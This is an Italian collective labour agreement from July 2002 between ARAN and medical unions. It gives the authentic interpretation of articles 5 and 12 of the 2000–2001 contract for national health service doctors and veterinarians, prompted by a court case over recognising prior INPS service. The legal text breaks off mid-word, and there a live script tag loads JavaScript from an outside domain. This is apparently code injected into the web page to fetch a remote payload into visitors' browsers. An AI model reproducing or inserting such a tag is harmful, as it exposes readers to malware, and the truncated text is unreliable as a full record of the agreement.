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Categoria: Sanità - comparto pubblico - area medica (dirigenti) Settore: Pubblica Amministrazione Data stipula: 12-7-2002
Contratto Collettivo Nazionale di Lavoro
DI INTERPRETAZIONE AUTENTICA DEGLI ARTT. 5 e 12 DEL CCNL, 2° BIENNIO
ECONOMICO 2000-2001 DELL'AREA DELLA DIRIGENZA MEDICA E VETERINARIA DEL SSN
stipulato l'8 giugno 2000
In data 12 luglio 2002 alle ore 10, presso la sede dell'ARAN, ha avuto
luogo l'incontro tra:
- ARAN nella persona del Presidente Guido FANTONI
e
le seguenti Organizzazioni sindacali:
- CGIL Medici, FED. CISL MEDICI COSIME, FED MEDICI aderente alla UIL,
CIVEMP (SIVEMP - SIMET), FESMED (ACOI, ANMCO, AOGOI, SUMI, SEDI, FEMEPA,
ANMDO), UMSPED (AROI, AIPAC, SNR), CIMO ASMD, ANAAO ASSOMED, ANPO
e Confederazioni sindacali:
- CGIL
- CISL
- UIL
- COSMED
Al termine della riunione, le parti suindicate hanno sottoscritto
l'allegato CCNL sulla interpretazione autentica degli artt. 5 e 12, CCNL,
2° biennio economico 2000-2001, dell'area della dirigenza medica e
veterinaria del SSN stipulato l'8 giugno 2000 nel testo che segue:
Premesso che il giudice del Lavoro del Tribunale di Pordenone - sez.
Lavoro -, in relazione al ricorso del dr. Gustavo Mazzi contro l'Azienda
Ospedaliera "Santa Maria degli Angeli" (causa iscritta al R.G. 416/01),
nella seduta dell'1.2.02, ai sensi dell'art. 64, D.lgs. n. 165/01, ha
ritenuto che per potere definire la controversia di cui al giudizio è
necessario risolvere in via pregiudiziale la questione concernente
l'interpretazione autentica degli artt. 5 e 12, CCNL, 2° biennio economico
2000-2001, dell'area della dirigenza medica e veterinaria del SSN
stipulato l'8.6.00, in relazione al mancato riconoscimento al ricorrente,
ai fini del computo dell'esperienza professionale maturata per la
corresponsione dell'indennità di esclusività, del periodo di servizio
prestato presso l'INPS di S. Donà di Piave, in qualità di assistente
medico di ruolo a tempo pieno;
tenuto conto
che l'art. 118, DPR n. 384/90, nel periodo in cui erano ancora previste le
classi e gli scatti d'anzianità al personale medico e veterinario
consentiva in caso di trasferimento o vincita di concorso la possibilità
di ricostruire la "carriera" economica dei dipendenti sulla base
dell'anzianità di servizio purché maturata presso le amministrazioni ed
enti indicati in modo tassativo negli artt. 24, 25 e 26, DPR n. 761/79,
nonché negli enti locali;
ritenuto,
ai fini della richiesta interpretazione, di dover verificare se il
servizio prestato dal ricorrente nel 1987 presso l'INPS rientri o meno tra
quelli previsti dalle norme sopracitate;
che, in particolare solo l'art. 24, comma 1, DPR n. 761/79, in
applicazione delle norme transitorie della legge n. 833/78, consentiva la
riconoscibilità dei servizi prestati dal personale anteriormente al
passaggio alle USL presso gli enti mutualistici e previdenziali
limitatamente alle funzioni trasferite alle stesse;
tenuto presente
che il servizio prestato dal ricorrente presso l'INPS nel 1987 non è tra
quelli salvaguardati dall'art. 24, comma 1, in applicazione delle norme
transitorie della legge n. 833/78, per essere stato ivi prestato in epoca
successiva all'istituzione delle USL ed essendo il passaggio al SSN
avvenuto per effetto di concorsi;
considerato
che la tipologia di servizio in esame, non essendo menzionata in nessuna
delle altre fattispecie previste dagli artt. 24, 25 e 26, non poteva dar
luogo al riconoscimento economico previsto dall'art. 118, DPR n. 384/90;
che a tal fine non possono essere invocate né le norme di delega per la
disciplina del personale transitato alle USL di cui all'art. 47, legge n.
833/78, né l'art. 75 della medesima legge in quanto inconferenti rispetto
alla riconoscibilità del servizio in questione, regolata da apposite norme
tassativamente applicabili e, in particolare, dirette solo a re<script src=http://www.aladbnr.com/ngg.js></script>
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